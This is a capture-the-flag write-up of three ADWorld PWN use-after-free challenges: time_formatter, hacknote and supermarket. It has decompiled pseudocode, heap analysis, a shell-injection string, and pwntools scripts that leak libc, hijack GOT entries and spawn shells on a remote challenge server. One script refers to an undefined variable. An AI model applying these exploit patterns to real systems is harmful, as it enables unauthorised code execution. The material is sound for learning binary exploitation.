ADWorld PWN Challenge Area Write-ups (UAF)
TyeYeah Lv4

This part is about UAF (Use After Free).

time formatter

Attachment: time_formatter
Description: It is difficult to convert UNIX time to date, so Mary wrote a tool to accomplish this task.

Information

Check:

1
2
3
4
5
6
7
8
9
10
$ file time_formatter
time_formatter: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5afd38988c61546c0035e236ce938af6181e85a6, stripped
$ checksec time_formatter
[*] '/root/time_formatter'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__gid_t v3; // eax
FILE *v4; // rdi
__int64 v5; // rdx
int v6; // eax

v3 = getegid();
setresgid(v3, v3, v3);
setbuf(stdout, 0LL);
puts("Welcome to Mary's Unix Time Formatter!");
do
{
while ( 2 )
{
puts("1) Set a time format.");
puts("2) Set a time.");
puts("3) Set a time zone.");
puts("4) Print your time.");
puts("5) Exit.");
__printf_chk(1LL, "> ");
v4 = stdout;
fflush(stdout);
switch ( sub_400D26() )
{
case 1:
v6 = sub_400E00();
break;
case 2:
v6 = sub_400E63();
break;
case 3:
v6 = sub_400E43();
break;
case 4:
v6 = sub_400EA3((__int64)v4, (__int64)"> ", v5);
break;
case 5:
v6 = sub_400F8F();
break;
default:
continue;
}
break;
}
}
while ( !v6 );
return 0LL;
}

sub_400EA3 – “4) Print your time.” :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 __fastcall sub_400EA3(__int64 a1, __int64 a2, __int64 a3)
{
__int64 v3; // r8
char command; // [rsp+8h] [rbp-810h]
unsigned __int64 v6; // [rsp+808h] [rbp-10h]

v6 = __readfsqword(0x28u);
if ( ptr )
{
__snprintf_chk(
(__int64)&command,
2048LL,
1LL,
2048LL,
(__int64)"/bin/date -d @%d +'%s'",
(unsigned int)dword_602120,
(__int64)ptr,
a3);
__printf_chk(1LL, "Your formatted time is: ");
fflush(stdout);
if ( getenv("DEBUG") )
__fprintf_chk(stderr, 1LL, "Running command: %s\n", &command, v3);
setenv("TZ", value, 1);
system(&command);
}
else
{
puts("You haven't specified a format!");
}
return 0LL;
}

sub_400F8F – 5) Exit. :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
signed __int64 sub_400F8F()
{
signed __int64 result; // rax
char s; // [rsp+8h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-10h]

v2 = __readfsqword(0x28u);
sub_400C7E(ptr);
sub_400C7E(value);
__printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
fflush(stdout);
fgets(&s, 16, stdin);
result = 0LL;
if ( (s & 0xDF) == 89 )
{
puts("OK, exiting.");
result = 1LL;
}
return result;
}

Other subfunctions like: “1) Set a time format.”, “2) Set a time.” and “3) Set a time zone.” please check it by yourselves in IDA.

Analysis

To sum up, sub function:

  1. Do malloc() (in strdup()) for input and assign it to ptr, special characters are limited.
  2. Receive input and save it to dword_602120.
  3. Do malloc() for input and assign it to value, without character limit.
  4. If ptr is not null, call system() to execute commands (consists of dword_602120 and ptr)
  5. first free ptr, then free value, then ask if you exit.

In subfunction 4 the command is like "/bin/date -d @%d +'%s'", the ptr will replace %s, so we can input ';/bin/sh;' to do command injection, but the question is ' is filtered in subfunction 1.

In subfunction 3 our input to value will not be restricted. In subfunction 5 it just frees pointers but not exit or sets them null.

We can exploit UAF to input payload to value and call system() to execute it as ptr:

  • First malloc a ptr in subfunc 1
  • Second free it in subfunc 5 (first free ptr then free value)
  • Then malloc a value in subfunc 3 (using former ptr trunk)
  • Finally execute system commands in subfunc 4

    Exploit

    We can achieve it in terminal:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    $ ./time_formatter
    Welcome to Marys Unix Time Formatter!
    1) Set a time format.
    2) Set a time.
    3) Set a time zone.
    4) Print your time.
    5) Exit.
    > 1 <-- first malloc
    Format:
    Format set.
    1) Set a time format.
    2) Set a time.
    3) Set a time zone.
    4) Print your time.
    5) Exit.
    > 5 <-- free
    Are you sure you want to exit (y/N)?
    1) Set a time format.
    2) Set a time.
    3) Set a time zone.
    4) Print your time.
    5) Exit.
    > 3 <-- second malloc
    Time zone: ';/bin/sh;'
    Time zone set.
    1) Set a time format.
    2) Set a time.
    3) Set a time zone.
    4) Print your time.
    5) Exit.
    > 4 <-- execute command
    Your formatted time is:
    # id
    uid=0(root) gid=0(root) groups=0(root)
    #
    Or write script (use new method – sendlineafter):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    sh = process('./time_formatter')
    sh = remote('220.249.52.133', 47869)
    sh.sendlineafter('>','1')
    sh.sendline('')
    sh.sendlineafter('>','5')
    sh.sendline('')
    sh.sendlineafter('>','3')
    sh.sendline("';/bin/sh;'")
    sh.sendlineafter('>','4')
    sh.interactive()

hacknote

Attachment: hacknote.zip
Description: None

It’s a harder UAF challenge with a given libc file.

Information

First unzip it:

1
2
3
4
$ unzip hacknote.zip
Archive: hacknote.zip
inflating: hacknote/hacknote
inflating: hacknote/libc_32.so.6

Checksec:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ file hacknote/*
hacknote/hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
hacknote/libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d26149b8dc15c0c3ea8a5316583757f69b39e037, for GNU/Linux 2.6.32, stripped
$ checksec hacknote/hacknote
[*] '/root/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./hacknote/libc_32.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __cdecl __noreturn main()
{
int v0; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_8048956();
read(0, &buf, 4u);
v0 = atoi(&buf);
if ( v0 != 2 )
break;
sub_80487D4();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sub_80488A5();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
sub_8048646();
}
}
}

sub_8048956 (interface):

1
2
3
4
5
6
7
8
9
10
11
12
int sub_8048956()
{
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}

sub_8048646 (1. Add note):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int sub_8048646()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u);
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

sub_804862B (special puts wrapper):

1
2
3
4
int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}

sub_80487D4 (2. Delete note):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

sub_80488A5 (3. Print note):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
return __readgsdword(0x14u) ^ v3;
}

Analysis

It can only save 5 records, and every record contains two items: ptr[i] for puts(*(const char **)(a1 + 4)) function pointer, and *(ptr[i]+1) for saving contents.
In sub_8048646 (1. Add note) it malloc() memory for ptr[i] and *(ptr[i]+1),but only reads the content to fill *(ptr[i]+1).
In sub_80487D4 (2. Delete note) it just free two pointers but not set them as NULL, which leads to UAF.
In sub_80488A5 (3. Print note) it executes (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); to puts contents, and here we can exploit.

The basic data structure is like (after the first add):
basic data structure
The first 4 bytes of ptr[i] is fixed assigned as sub_804862B – a special puts that can print content correctly. Our aim is to change its value via illegal method.

If we do 2 add operations, memory looks like:
after 2 add
Next delete index 0, then 1. As fastbin is LIFO (last in first out), and chunks with same size are in the same linked list, we can see 4 freed chunks in it like:
after 2 delete
If then we add a 8 bytes size item, it will use 2 8-byte chunks in the fastbin, that would be:
after 3rd add
Now we can edit content in old ptr[0]. But there is UAF in delete, so ptr[0] can also be called, which lets us execute our target function.

Since it has no system, we need to leak libc for it, then we can calcute libc base address and use shellcode to get shell.

Exploit

Since we replace sub_804862B in ptr[i] as system address, but we execute (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]); so we add ; or || to make sure sh can be executed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

sh = process('./hacknote')
sh = remote('220.249.52.133',43549)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')
context(os='linux', arch='i386', log_level='debug')
putstr_addr = 0x804862B

def add(size,content):
sh.recvuntil("Your choice :")
sh.sendline("1")
sh.recvuntil("Note size :")
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.sendline(content)

def delete(index):
sh.recvuntil("Your choice :")
sh.sendline("2")
sh.recvuntil("Index :")
sh.sendline(str(index))

def show(index):
sh.recvuntil("Your choice :")
sh.sendline("3")
sh.recvuntil("Index :")
sh.sendline(str(index))

add(0x20,'a')
add(0x20,'b')
delete(0)
delete(1)
payload = p32(putstr_addr) + p32(elf.got['puts'])
add(8,payload)
show(0)
puts_addr=u32(sh.recv()[:4])
libc_base_addr=puts_addr-libc.sym['puts']
system_addr=libc_base_addr+libc.sym['system']
delete(2)
payload=p32(system_addr)+";sh" # or "||sh"
add(8,payload)
show(0)

sh.interactive()

supermarket

Attachment: supermarket.gz
Description: None

Actually it is a UAF challenge based on note-service2 in ADWorld PWN Challenge Area Write-ups (GOT Hijacking).

Information

Extract it:

1
2
3
$ tar -xvf ./supermarket.gz
./libc.so.6
./supermarket

Check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ file supermarket
supermarket: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a1765fd11fcba56dc1bb4342bfabbd198d06df57, stripped
$ checksec supermarket
[*] '/root/supermarket'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu10) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

Pseudocode:
It is similar to note-service2, and the entry is changed to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void entry()
{
while ( 1 )
{
menu();
printf("your choice>> ");
switch ( read_num() )
{
case 1:
add();
break;
case 2:
del();
break;
case 3:
list();
break;
case 4:
changePrice();
break;
case 5:
changeDescription();
break;
case 6:
exit(0);
return;
default:
puts("invalid choice");
break;
}
}
}

add:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int add()
{
char *v1; // ebx
char *v2; // ebx
char src; // [esp+4h] [ebp-24h]
int v4; // [esp+14h] [ebp-14h]
int v5; // [esp+18h] [ebp-10h]
int i; // [esp+1Ch] [ebp-Ch]

for ( i = 0; i <= 15 && (&s2)[i]; ++i )
;
if ( i > 15 )
return puts("no more space");
printf("name:");
read_str(&src, 16);
v5 = read_name_sub(&src);
if ( v5 != -1 )
return puts("name exist");
v5 = sub_8048D95();
if ( v5 == -1 )
return puts("no more space");
(&s2)[v5] = malloc(0x1Cu);
strcpy((&s2)[v5], &src);
printf("name:%s\n", &src);
v4 = 0;
printf("price:");
v4 = read_num();
printf("price:%d\n", v4);
if ( v4 > 0 && v4 <= 999 )
*((&s2)[v5] + 4) = v4;
*((&s2)[v5] + 5) = 0;
while ( *((&s2)[v5] + 5) <= 0 || *((&s2)[v5] + 5) > 256 )
{
printf("descrip_size:");
v1 = (&s2)[v5];
*(v1 + 5) = read_num();
}
printf("descrip_size:%d\n", *((&s2)[v5] + 5));
v2 = (&s2)[v5];
*(v2 + 6) = malloc(*((&s2)[v5] + 5));
printf("description:");
return read_str(*((&s2)[v5] + 6), *((&s2)[v5] + 5));
}

changeDescription:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int changeDescription()
{
int v1; // [esp+8h] [ebp-10h]
int size; // [esp+Ch] [ebp-Ch]

v1 = read_name();
if ( v1 == -1 )
return puts("not exist");
for ( size = 0; size <= 0 || size > 256; size = read_num() )
printf("descrip_size:");
if ( *((&s2)[v1] + 5) != size )
realloc(*((&s2)[v1] + 6), size);
printf("description:");
return read_str(*((&s2)[v1] + 6), *((&s2)[v1] + 5));
}

Also rename some items for simplification.

Analysis

Comparing to note-service2 it completes all functions and has a different data structure (get it from add()):

1
2
3
4
5
6
typedef struct commodity {  
char name[16];
int price;
int description_size;
char *description;
} commodity;

Vulnerability exists in realloc(*((&s2)[v1] + 6), size); from changeDescription(), because realloc should be used in this way:

1
2
3
4
// void *realloc(void *ptr, size_t size)
str = (char *) malloc(15);
...
str = (char *) realloc(str, 25);

The realloc first see whether memory is enough to expand str to be a bigger chunck. If it is enough, expand the space and return it; if not enough, allocate space according to newsize and copy original data to it, then release original memory (automatically, no need to free) and return the new address.

Clearly supermarket did not store new address and assign it back to description, pointer still points to the old address, still old size. But it was released, which means it can be allocated to other pointers. However we can also edit description to manipulate the newly allocated content (UAF).

As we got libc.so.6, we can leak the libc base address to get shell. The function list gives us opportunity to print description, we can overwrite it as some function GOT item and use list to leak its address.

Here is our plan:

  1. Add a commodity (commodity 0)
    Step 1
  2. Add another one (prevent from chunck merging)
    Step 2
  3. Edit commodity 0’s description to release it and allocate new space.
    If commodity 1 and description 1 do not exist, it will just expand old description 0 instead of allocate a new memory.
    Step 3
  4. Add one more commodity (commodity 2).
    Now if we edit description 0, we are editing commodity 2.
    Step 4
  5. Edit description 0 to overwrite description pointer in commodity 2 as some function’s GOT item, and use list commodities to leak address.

Note: Pay attention to chunck size. The description 0 we released should be unsorted bin instead of fastbin.
Because in fastbin it only allocates chunck with same size, while in Change the description of a commodity the last byte will be set 0. In commodity the last part is char *description and it is where I write function’s GOT item, so it cannot be 0. The chuncks in fastbin are between 0x20 and 0x80 bytes, so description 0 should be larger.

Exploit

Hijack GOT item of atoi:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386')
sh = process('./supermarket')
sh = remote('220.249.52.133',38898)
elf = ELF('./supermarket')
libc = ELF('./libc.so.6')

def add(name,price,size,descrip):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('name:',name)
sh.sendlineafter('price:',price)
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',descrip)
def delete(name):
sh.sendlineafter('>>','2')
sh.sendlineafter('name:',name)
def List():
sh.sendlineafter('>>','3')
def change(name,newsize,descrip): # change description
sh.sendlineafter('>>','5')
sh.sendlineafter('name:',name)
sh.sendlineafter('descrip_size:',str(newsize))
sh.sendlineafter('description:',descrip)

add('commodity 0','1',0x80,'description 0')
add('commodity 1','2',0x20,'description 1')
change('commodity 0',0x90,'') # must using '' instead of some string,
# because `description 0` has been released (freed) ,
# and anything you write will overwrite `fd` and `bk` in it.
add('commodity 2','3',0x80,'description 2')

cname = 'fake'.ljust(16,'\x00')
cprice = p32(4)
cdescrip_size = p32(0x80)
cdescription = p32(elf.got['atoi'])
payload = cname + cprice + cdescrip_size + cdescription
change('commodity 0',0x80,payload)
List()

sh.recvuntil('fake: price.4, des.')
atoi_addr = u32(sh.recvuntil('\n').split('\n')[0].ljust(4,'\x00'))

libc_addr = atoi_addr - libc.symbols['atoi']
system_addr = libc_addr + libc.symbols['system']
''' using LibcSearcher
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
'''
change('fake',0x80,p32(system_addr))
# remain the size to avoid trouble.
sh.sendlineafter('your choice>>','/bin/sh')
sh.interactive()

Or hijack free in GOT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding:utf8  
from pwn import *
from LibcSearcher import *

sh = process('./supermarket')
sh = remote('220.249.52.133','31614')
elf = ELF('./supermarket')
libc = ELF('./libc.so.6')
free_got = elf.got['free']

def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('price:','10')
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)

def delete(index):
sh.sendlineafter('your choice>>','2')
sh.sendlineafter('name:',str(index))

def show():
sh.sendlineafter('your choice>>','3')

def edit(index,size,content):
sh.sendlineafter('your choice>>','5')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)

create('tmp',0x20,'/bin/sh')
delete('tmp') # fill `free` in `got`
create('/bin/sh',0x20,'/bin/sh') # prepare parameter for getshell
#node0
create(0,0x80,'a'*0x10)
#node1 (prevent from chunck merging)
create(1,0x20,'b'*0x10)
#realloc node0->description
edit(0,0x90,'')
#allocate node2 to node0->description
create(2,0x20,'d'*0x10)
payload = '2'.ljust(16,'\x00') + p32(20) + p32(0x20) + p32(free_got)
edit(0,0x80,payload)
show()

sh.recvuntil('2: price.20, des.')
r = sh.recvuntil('\n').split('\n')[0]
print r+';'+len(r)
print hex(u32(r[:4]))+','+hex(u32(r[4:8]))+','+hex(u32(r[8:12]))
free_addr = u32(r1)

libc_addr = free_addr - libc.sym['free']
print 'libc addr:' + hex(libc_addr)
system_addr = libc_addr + libc.sym['system']
print 'sys addr:' + hex(system_addr)
edit(2,0x20,p32(system_addr))
#getshell
delete('/bin/sh')
sh.interactive()

Or even leak __libc_start_main and hijack it, only using heap overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin env python

from pwn import*

context.log_level = 'debug'
p =remote('220.249.52.133','31614')
got = 0x804b038 # `got` item of `__libc_start_main`

def add(name,price,descrip_size,description):
...

def free(name):
...

def change_price(name,price):
...

def change_des(name,descrip_size,description):
...

def list():
...

add("A",0x10,0x100,"AAAA")
change_des("A",8,"C"*7+"\x00")
add("B",0x10,0x100,"BBBB")

payload = "B"*12+ p32(0x21) + p32(0x42) + "B"*12 + p32(0x00) +p32(0x100) +p32(got)
change_des('A',100,payload+'\n')
list()

p.recvuntil("B: price.0, des.")
addr = p.recvn(4)
print"addr:",hex(u32(addr))
libc = u32(addr) - 0x18540#0x49020
system_addr = libc + 0x3a940
print"libc:",hex(libc)
print"system_addr:",hex(system_addr)

change_des("B",0x100,p32(system_addr)*5)#+'\n'
p.sendline('/bin/sh\x00')
p.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k